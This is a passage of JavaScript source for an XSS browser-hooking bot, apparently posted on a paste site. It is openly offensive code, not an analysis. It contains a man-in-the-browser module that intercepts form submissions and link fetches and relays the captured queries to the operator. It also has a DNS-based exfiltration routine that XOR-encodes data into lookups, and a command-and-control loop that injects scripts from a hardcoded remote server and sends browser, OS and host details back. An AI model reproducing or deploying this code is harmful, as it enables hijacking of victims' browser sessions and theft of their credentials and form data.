  5238. query += inputs[i].name + "=" + inputs[i].value;
  5239. break;
  5240. }
  5241. }
  5242. e.preventdefault;
  5243. bot.mitb.fetchForm(form.action, query, document
  5244. .getElementsByTagName("html")[0]);
  5245. history.pushState({
  5246. Be: "EF"
  5247. }, "", form.action);
  5248. return false;
  5249. }
  5250. },
  5251.  
  5252. // Fetches a hooked form with AJAX
  5253. fetchForm: function (url, query, target) {
  5254. try {
  5255. var y = new XMLHttpRequest();
  5256. y.open('POST', url, false);
  5257. y.setRequestHeader("Content-type",
  5258. "application/x-www-form-urlencoded");
  5259. y.onreadystatechange = function () {
  5260. if (y.readyState == 4 && y.responseText != "") {
  5261. target.innerHTML = y.responseText;
  5262. setTimeout(bot.mitb.hook, 10);
  5263. }
  5264. }
  5265. y.send(query);
  5266. bot.mitb.sniff("POST: " + url + " [" + query + "]");
  5267. return true;
  5268. } catch (x) {
  5269. return false;
  5270. }
  5271. },
  5272.  
  5273. // Fetches a hooked link with AJAX
  5274. fetch: function (url, target) {
  5275. try {
  5276. var y = new XMLHttpRequest();
  5277. y.open('GET', url, false);
  5278. y.onreadystatechange = function () {
  5279. if (y.readyState == 4 && y.responseText != "") {
  5280. target.innerHTML = y.responseText;
  5281. setTimeout(bot.mitb.hook, 10);
  5282. }
  5283. }
  5284. y.send(null);
  5285. bot.mitb.sniff("GET: " + url);
  5286. return true;
  5287. } catch (x) {
  5288. window.open(url);
  5289. bot.mitb.sniff("GET [New Window]: " + url);
  5290. return false;
  5291. }
  5292. },
  5293.  
  5294. // Relays an entry to the framework
  5295. sniff: function (result) {
  5296. try {
  5297. bot.net.send(bot.mitb.cid, bot.mitb.curl, result);
  5298. } catch (x) {
  5299. }
  5300. return true;
  5301. },
  5302.  
  5303. // Signals the Framework that the user has lost the hook
  5304. endSession: function () {
  5305. bot.mitb.sniff("Window closed.");
  5306. }
  5307. }
  5308.  
  5309. bot.net.dns = {
  5310.  
  5311. handler: "dns",
  5312.  
  5313. send: function (msgId, messageString, domain, wait, callback) {
  5314.  
  5315. var dom = document.createElement('b');
  5316.  
  5317. // DNS settings
  5318. var max_domain_length = 255 - 5 - 5 - 5 - 5 - 5;
  5319. var max_segment_length = max_domain_length - domain.length;
  5320.  
  5321. // splits strings into chunks
  5322. String.prototype.chunk = function (n) {
  5323. if (typeof n == 'undefined')
  5324. n = 100;
  5325. return this.match(RegExp('.{1,' + n + '}', 'g'));
  5326. };
  5327.  
  5328. // XORs a string
  5329. xor_encrypt = function (str, key) {
  5330. var result = "";
  5331. for (i = 0; i < str.length; ++i) {
  5332. result += String.fromCharCode(key ^ str.charCodeAt(i));
  5333. }
  5334. return result;
  5335. };
  5336.  
  5337. // sends a DNS request
  5338. sendQuery = function (query) {
  5339. // console.log("Requesting: "+query);
  5340. var img = new Image;
  5341. img.src = "http://" + query;
  5342. img.onload = function () {
  5343. dom.removeChild(this);
  5344. }
  5345. img.onerror = function () {
  5346. dom.removeChild(this);
  5347. }
  5348. dom.appendChild(img);
  5349. }
  5350.  
  5351. // encode message
  5352. var xor_key = Math.floor(Math.random() * 99000 + 1000);
  5353. encoded_message = encodeURI(xor_encrypt(messageString, xor_key))
  5354. .replace(/%/g, ".");
  5355.  
  5356. // Split message into segments
  5357. segments = encoded_message.chunk(max_segment_length)
  5358. for (seq = 1; seq <= segments.length; seq++) {
  5359. // send segment
  5360. sendQuery(msgId + "." + seq + "." + segments.length + "." +
  5361. xor_key
  5362. + segments[seq - 1] + "." + domain);
  5363. }
  5364.  
  5365. // callback - returns the number of queries sent
  5366. if (!!callback)
  5367. callback(segments.length);
  5368.  
  5369. }
  5370.  
  5371. };
  5372.  
  5373. bot.regCmp('bot.net.dns');
  5374.  
  5375. // XSS BOT Start here
  5376. // Url account to connect to
  5377. var urlServer = "http://www.exploitpack.com/bot/";
  5378. var waitingInterval = 10000;
  5379. var keepAliveInterval = 45000;
  5380. // Call to the server and obtain the commands periodically
  5381. var refresh = setInterval(getMagic, waitingInterval);
  5382. // Call to the server to keep alive the connection
  5383. var keepAlive = setInterval(keepAlive, keepAliveInterval);
  5384. // Declare Cookie
  5385. var id = bot.session.get_hook_session_id();
  5386. bot.session.set_hook_session_id(id);
  5387. // Declare Host URL
  5388. var sendHostUrl = document.location.hostname;
  5389. // Declare Browser name
  5390. var sendBrowserName = bot.browser.getBrowserName();
  5391. // Declare Os Type
  5392. var sendOSType = bot.os.getName();
  5393. // Declare credentials
  5394. var credentials;
  5395.  
  5396. // Get the commands trough a Javascript
  5397. function getMagic() {
  5398. var head = document.getElementsByTagName("head")[0];
  5399. var script = document.createElement("script");
  5400. script.type = "text/javascript";
  5401. script.src = urlServer + 'Gate/Trick.aspx' + '?' + 'Id=' +
  5402. bot.session.get_hook_session_id();
  5403. head.appendChild(script );
  5404. }
  5405.  
  5406. // Send data back to the server
  5407. function sendMagic(data) {
  5408. //$j.ajax({ url: urlServer + "Gate/Receptor.aspx?" + data, type: 'GET',
  5409. success: function (res) { } });
  5410. var head = document.getElementsByTagName("head")[0];
  5411. var script = document.createElement("script");
  5412. script.type = "text/javascript";
  5413. script.src = urlServer + "Gate/Receptor.aspx?" + data;
  5414. head.appendChild(script);
  5415. }
  5416.  
  5417. // Get hostname
  5418. function getHostname() {
  5419. var domain = document.location.host;
  5420. if (domain.indexOf('www.') == 0)
  5421. domain = domain.replace('www.', '');
  5422. return domain;
  5423. }
Add Comment
Please, Sign In to add comment